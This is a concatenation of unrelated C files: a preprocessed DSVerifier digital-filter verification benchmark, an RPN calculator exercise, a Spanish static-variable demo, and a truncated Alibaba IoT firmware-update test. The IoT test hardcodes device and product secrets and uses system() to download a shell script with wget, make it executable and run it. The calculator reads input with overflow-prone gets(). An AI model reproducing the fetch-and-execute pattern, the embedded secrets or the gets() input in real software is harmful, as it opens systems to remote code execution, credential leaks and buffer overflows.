# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
if (3 == 3)
{
call_verification_task(&verify_overflow);
}
else if (3 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (3 == 6)
{
call_verification_task(&verify_error);
}
else if (3 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (3 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (3 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (3 == 7)
{
call_verification_task(&verify_stability);
}
else if (3 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (3 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (3 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (3 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (3 == 12)
{
verify_error_state_space();
}
else if (3 == 16)
{
verify_safety_state_space();
}
else if (3 == 13)
{
verify_controllability();
}
else if (3 == 14)
{
verify_observability();
}
else if (3 == 15)
{
verify_limit_cycle_state_space();
}
else if (3 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (3 == 12 || 3 == 16 ||
3 == 15 || 3 == 13 ||
3 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((3 != 9) && (3 != 10) &&
(3 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 9) || (3 == 10) ||
(3 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 3) || (3 == 2) || (3 == 1) ||
(3 == 10) || (3 == 11) ||
(3 == 4 || 3 == 5) || 3 == 6)
{
if ((15 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (15 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 15;
}
}
if ((3 == 0) && (3 != 9) && (3 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (3 == 6 || 3 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 4 || 3 == 5)
{
if (3 == 5 || 3 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (3 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((3 == 7) || (3 == 8) || (3 == 9) ||
(3 == 10) || (3 == 11) || (3 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.b[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.b[i] >= min) && (plant_cbmc.b[i] <= max));
}else{
plant_cbmc.b[i] = plant.b[i];
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.a[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.a[i] >= min) && (plant_cbmc.a[i] <= max));
}
else
{
plant_cbmc.a[i] = plant.a[i];
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-08-impl3.c" 2
digital_system ds = {
.b = { 0.0096, -0.009 },
.b_size = 2,
.a = { 0.02, 0.0 },
.a_size = 2,
.sample_time = 0.02
};
implementation impl = {
.int_bits = 5,
.frac_bits = 11,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/103265419.c | /*
@@@@ PROGRAM NAME: knkcch13proj15.c
@@@@ FLAGS: -std=c99
@@@@ PROGRAM STATEMENT:
Modify Programming Project 6 from Chapter 10 so that it includes the following function:
int evaluate_RPN_expression(const char *expression);
The function returns the value of the RPN expression pointed to by expression.
*/
#include<stdio.h>
#include<stdlib.h> //exit(), EXIT_FAILURE
#include<stdbool.h> //bool, true, false.
//-----------------------------------------------------------------------------
#define STACK_SIZE 10
int contents[STACK_SIZE];
int top = 0;
//-----------------------------------------------------------------------------
void make_empty(void);
bool is_empty(void);
bool is_full(void);
void push(int c);
int pop(void);
int evaluate_RPN_expression(const char *expression);
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//------------------------START OF MAIN()--------------------------------------
int main(void)
{
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
char ch, expression[30];
bool digit_or_sign=true;
make_empty(); //Clear the stack.
printf("Enter an RPN expression (q to exit): ");
gets(expression);
if(*expression=='q')
digit_or_sign=false;
while(digit_or_sign) //Start of [[WHILE1]]
{
printf("Value of expression: %d",evaluate_RPN_expression(expression));
digit_or_sign=true;
make_empty(); //Clear stack before taking another expression.
printf("\nEnter an RPN expression (q to exit): ");
gets(expression);
if(*expression=='q')
digit_or_sign=false;
} //End of [[WHILE1]]
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
return 0;
}
//-------------------------END OF MAIN()---------------------------------------
//---------------------------------------------------------------------------
void make_empty(void)
{
top = 0;
}
//---------------------------------------------------------------------------
bool is_empty(void)
{
return top == 0;
}
//---------------------------------------------------------------------------
bool is_full(void)
{
return top == STACK_SIZE;
}
//---------------------------------------------------------------------------
void push(int c)
{
if (is_full())
{
printf("Expression is too complex.\n");
exit(EXIT_FAILURE);
}
contents[top++] = c;
//printf("Pushing %d\n",contents[top-1]);
}
//---------------------------------------------------------------------------
int pop(void)
{
if (is_empty())
{
printf("Not enough operands in expression.\n");
exit(EXIT_FAILURE);
}
//printf("Popping %d\n",contents[top-1]);
return contents[--top];
}
//-----------------------------------------------------------------------------
int evaluate_RPN_expression(const char *expression)
{
char ch;
int num1;
while(ch=*expression++)
if(ch>='0' && ch<='9')
push((int)(ch-'0'));
else if(ch=='+' || ch=='-' || ch=='*' || ch=='/' || ch=='=') //Start of [[ELSEIF1]]
{
switch(ch) //Start of [[SWITCH1]]
{
case '+':
num1=pop();
num1+=pop();
push(num1);
break;
case '-':
num1=pop();
num1=pop()-num1;
push(num1);
break;
case '*':
num1=pop();
num1*=pop();
push(num1);
break;
case '/':
num1=pop();
if(num1)
{
num1=(pop())/num1;
push(num1);
}
else
{
printf("Divide by zero!!!");
return 0;
}
break;
case '=':
if(top-1)
{
printf("Too many operands/operators");
return 0;
}
else
return pop();
} //End of [[SWITCH1]]
} //End of [[ELSEIF1]]
}
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
/*
OUTPUT:
@@@@ Trial1:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Enter an RPN expression (q to exit): 2 3 4 - + =
Value of expression: 1
Enter an RPN expression (q to exit): 2 3 4 - + 0 / =
Divide by zero!!!Value of expression: 0
Enter an RPN expression (q to exit): 2 3 4 - + 0 =
Too many operands/operatorsValue of expression: 0
Enter an RPN expression (q to exit): 2 3 4 - + / =
Not enough operands in expression.
make: *** [makefile:18: knkc] Error 1
@@@@ Trial2:
@@@@ Trial3:
@@@@ Trial4:
@@@@ Trial5:
@@@@ Trial6:
@@@@ Trial7:
@@@@ Trial8:
@@@@ Trial9:
*/
//--------------------------------------------------------------------------- |
the_stack_data/70806.c | /*!
* @file main.c
* @brief 06. Funciones - Argumentos por Valor - 07. Variables 'static'
* @author Javier Balloffet <[email protected]>
* @date Sep 7, 2018
*/
#include <stdio.h>
void increment1();
void increment2();
int main() {
// Invoco a "increment1()" dos veces seguidas.
increment1();
increment1();
// Invoco a "increment2()" dos veces seguidas.
increment2();
increment2();
return 0;
}
void increment1() {
// Declaro la variable "number".
int number = 1;
// Muestro el valor de "number" antes y después de incrementar.
printf("Valor de \"number\" en increment1() antes de incrementar = %d\n", number);
number++;
printf("Valor de \"number\" en increment1() despues de incrementar = %d\n", number);
}
void increment2() {
// Declaro la variable "number" como static.
static int number = 1;
// Muestro el valor de "number" antes y después de incrementar.
printf("Valor de \"number\" en increment2() antes de incrementar = %d\n", number);
number++;
printf("Valor de \"number\" en increment2() despues de incrementar = %d\n", number);
}
|
the_stack_data/376169.c | #ifdef DEVICE_MODEL_ENABLED
/*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#ifdef DEPRECATED_LINKKIT
#else
#include "stdio.h"
#include "iot_export.h"
#include "iot_import.h"
//#include "app_entry.h"
//#include "utest_mqtt.h"
#include "cut.h"
#if defined(OTA_ENABLED) && defined(BUILD_AOS)
#include "ota_service.h"
#endif
#define PRODUCT_KEY "a1K1YKPvdRn"
#define PRODUCT_SECRET "bdUZd0qmIppC5xBc"
#define DEVICE_NAME "SDK-C-TEST_advance_02_kj"
#define DEVICE_SECRET "ZH8eknnUSjCiqTeSr0mg1ngrG5920eeT"
#define USE_CUSTOME_DOMAIN (0)
#if USE_CUSTOME_DOMAIN
#define CUSTOME_DOMAIN_MQTT "iot-as-mqtt.cn-shanghai.aliyuncs.com"
#define CUSTOME_DOMAIN_HTTP "iot-auth.cn-shanghai.aliyuncs.com"
#endif
#define USER_EXAMPLE_YIELD_TIMEOUT_MS (1000)
typedef struct {
int master_devid;
int cloud_connected;
int master_initialized;
} user_example_ctx_t;
static user_example_ctx_t g_user_example_ctx;
static user_example_ctx_t *user_example_get_ctx(void)
{
return &g_user_example_ctx;
}
int fota_ret = -1;
static int user_fota_event_handler(int type, const char *version)
{
char buffer[128] = {0};
int buffer_length = 128;
user_example_ctx_t *user_example_ctx = user_example_get_ctx();
HAL_Printf("New Firmware Version: %s", version);
fota_ret = IOT_Linkkit_Query(user_example_ctx->master_devid, ITM_MSG_QUERY_FOTA_DATA, (unsigned char *)buffer,
buffer_length);
return 0;
}
static void set_iotx_info()
{
HAL_SetProductKey(PRODUCT_KEY);
HAL_SetProductSecret(PRODUCT_SECRET);
HAL_SetDeviceName(DEVICE_NAME);
HAL_SetDeviceSecret(DEVICE_SECRET);
}
CASE(FOTA, case_03)
{
int res = 0;
fota_ret = -1;
int ret1 =
system(" rm -rf fota.sh* && wget http://gitlab.alibaba-inc.com/xicai.cxc/test_wiki/raw/master/device-test-client.sh -O fota.sh ");
int ret2 = system("chmod +x ./fota.sh");
int ret3 =
system("./fota.sh fota upgrade a1K1YKPvdRn SDK-C-TEST_advance_02_kj app-1.0.0-20180101.1000 app-1.0.0-20180101.1001 app-1.0.0-20180101.1002");
int ret4 = system("rm -rf ./fota.sh*");
user_example_ctx_t *user_example_ctx = user_example_get_ctx();
iotx_linkkit_dev_meta_info_t master_meta_info;
#if !defined(WIFI_PROVISION_ENABLED) || !defined(BUILD_AOS)
set_iotx_info();
#endif
memset(user_example_ctx, 0, sizeof(user_example_ctx_t));
/* Register Callback */
IOT_RegisterCallback(ITE_FOTA, user_fota_event_handler);
memset(&master_meta_info, 0, sizeof(iotx_linkkit_dev_meta_info_t));
memcpy(master_meta_info.product_key, PRODUCT_KEY, strlen(PRODUCT_KEY));
memcpy(master_meta_info.product_secret, PRODUCT_SECRET, strlen(PRODUCT_SECRET));
memcpy(master_meta_info.device_name, DEVICE_NAME, strlen(DEVICE_NAME));
memcpy(master_meta_info.device_secret, DEVICE_SECRET, strlen(DEVICE_SECRET));
/* Choose Login Server, domain should be configured before IOT_Linkkit_Open() */
#if USE_CUSTOME_DOMAIN
IOT_Ioctl(IOTX_IOCTL_SET_MQTT_DOMAIN, (void *)CUSTOME_DOMAIN_MQTT);
IOT_Ioctl(IOTX_IOCTL_SET_HTTP_DOMAIN, (void *)CUSTOME_DOMAIN_HTTP);
#else
int domain_type = IOTX_CLOUD_REGION_SHANGHAI;
IOT_Ioctl(IOTX_IOCTL_SET_DOMAIN, (void *)&domain_type);
#endif
/* Choose Login Method */
int dynamic_register = 0;
IOT_Ioctl(IOTX_IOCTL_SET_DYNAMIC_REGISTER, (void *)&dynamic_register);
/* Create Master Device Resources */
user_example_ctx->master_devid = IOT_Linkkit_Open(IOTX_LINKKIT_DEV_TYPE_MASTER, &master_meta_info);
if (user_example_ctx->master_devid < 0) {
ASSERT_TRUE(user_example_ctx->master_devid >= 0);
}
/* Start Connect Aliyun Server */
res = IOT_Linkkit_Connect(user_example_ctx->master_devid);
if (res < 0) {
ASSERT_TRUE(res >= 0);
}
IOT_Linkkit_Yield(6 * USER_EXAMPLE_YIELD_TIMEOUT_MS);
IOT_Linkkit_Close(user_example_ctx->master_devid);
ASSERT_TRUE(fota_ret == 0);
ASSERT_TRUE(ret1 == 0);
ASSERT_TRUE(ret2 == 0);
ASSERT_TRUE(ret3 == 0);
ASSERT_TRUE(ret4 == 0);
}
CASE(FOTA, case_02)
{
int res = 0;
fota_ret = -1;
user_example_ctx_t *user_example_ctx = user_example_get_ctx();
iotx_linkkit_dev_meta_info_t master_meta_info;
#if !defined(WIFI_PROVISION_ENABLED) || !defined(BUILD_AOS)
set_iotx_info();
#endif
memset(user_example_ctx, 0, sizeof(user_example_ctx_t));
/* Register Callback */
IOT_RegisterCallback(ITE_FOTA, user_fota_event_handler);
memset(&master_meta_info, 0, sizeof(iotx_linkkit_dev_meta_info_t));
memcpy(master_meta_info.product_key, PRODUCT_KEY, strlen(PRODUCT_KEY));
memcpy(master_meta_info.product_secret, PRODUCT_SECRET, strlen(PRODUCT_SECRET));
memcpy(master_meta_info.device_name, DEVICE_NAME, strlen(DEVICE_NAME));
memcpy(master_meta_info.device_secret, DEVICE_SECRET, strlen(DEVICE_SECRET));
/* Choose Login Server, domain should be configured before IOT_Linkkit_Open() */
#if USE_CUSTOME_DOMAIN
IOT_Ioctl(IOTX_IOCTL_SET_MQTT_DOMAIN, (void *)CUSTOME_DOMAIN_MQTT);
